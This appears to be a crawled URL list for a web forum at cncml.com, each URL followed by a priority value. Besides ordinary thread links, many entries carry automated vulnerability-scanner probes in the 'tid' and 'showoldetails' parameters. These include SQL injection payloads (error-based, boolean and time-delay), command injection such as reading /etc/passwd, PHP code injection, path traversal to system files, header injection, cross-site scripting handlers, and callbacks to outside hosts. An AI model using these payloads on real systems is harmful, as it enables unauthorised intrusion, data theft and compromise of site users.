http://www.cncml.com/forum.php?mod=viewthread&tid=224,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%20224%20ELSE%2019*(SELECT%2019%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(28=14)%20THEN%20224%20ELSE%2028*(SELECT%2028%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(28=66)%20THEN%20224%20ELSE%2028*(SELECT%2028%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%20224%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%20224%20ELSE%2038*(SELECT%2038%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(75=35)%20THEN%20224%20ELSE%2075*(SELECT%2075%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(96=39)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20(CASE%20WHEN%20(97=56)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,IIF(13=95,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224,IIF(31=31,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=2241 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=2246633x3X6 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224JyI%3D 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224a' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224alert(42873) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=224e360 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=225#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=23#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=24 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=24#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=25 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=25#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=25&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=25&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=3#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=36#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=37#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=38#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=39#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=4#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=40#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=41#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=42#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=43 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=43#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=45#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=46#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=47 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=47#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=49#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=5 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=5#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=50#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=51#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=52#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=53#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=54 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=54#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=55#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=56#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=57 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=57#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=58#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=59#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=6#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=60 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=60#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=61#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=62#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=63#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=64#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=65 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=65#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=66#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=67#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=68 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=68#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=69#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=7 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=7#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=70#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=71#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=72#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=73#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=74 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=74#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=75 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=75#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=76#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=77#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=78 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=78#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=79#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=8 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=8#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=80#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=81#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=82 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=82#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=83 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=83#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=84#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=85#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=86#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=87#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=89#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=9#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=90#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=91 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=91#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=92#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=96#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=97#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=98#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=99#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=ELT(12=92,224) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=ELT(97=97,224) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=IIF(67=67,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=IIF(94=31,224,1/0) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=MAKE_SET(19=61,224) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=MAKE_SET(62=62,224) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=dir 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/forum.php?showoldetails=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?showoldetails=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?showoldetails=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?showoldetails=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?showoldetails=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?showoldetails=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=%3Cdir 0.0001 http://www.cncml.com/forum.php?showoldetails=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?showoldetails=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?showoldetails=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?showoldetails=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?showoldetails='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?showoldetails=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?showoldetails=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(15=32)%20THEN%200x6E6F%20ELSE%2015*(SELECT%2015%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x6E6F%20ELSE%2017*(SELECT%2017%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(24=85)%20THEN%200x6E6F%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(47=35)%20THEN%200x6E6F%20ELSE%2047*(SELECT%2047%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(62=62)%20THEN%200x6E6F%20ELSE%2062*(SELECT%2062%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(68=59)%20THEN%200x6E6F%20ELSE%2068*(SELECT%2068%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x6E6F%20ELSE%2081*(SELECT%2081%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%200x6E6F%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?showoldetails=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?showoldetails=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?showoldetails=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?showoldetails=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?showoldetails=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?showoldetails=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?showoldetails=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?showoldetails=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?showoldetails=ELT(19=20,0x6E6F) 0.0001 http://www.cncml.com/forum.php?showoldetails=ELT(81=81,0x6E6F) 0.0001 http://www.cncml.com/forum.php?showoldetails=MAKE_SET(39=39,0x6E6F) 0.0001 http://www.cncml.com/forum.php?showoldetails=MAKE_SET(62=61,0x6E6F) 0.0001 http://www.cncml.com/forum.php?showoldetails=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?showoldetails=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?showoldetails=dir 0.0001 http://www.cncml.com/forum.php?showoldetails=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?showoldetails=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?showoldetails=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?showoldetails=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?showoldetails=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?showoldetails=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?showoldetails=no 0.0007 http://www.cncml.com/forum.php?showoldetails=no!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?showoldetails=no%00' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6E6F%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=78)%20THEN%200x6E6F%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%22%20AND%20%227o%22=%22Vb 0.0001 http://www.cncml.com/forum.php?showoldetails=no%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 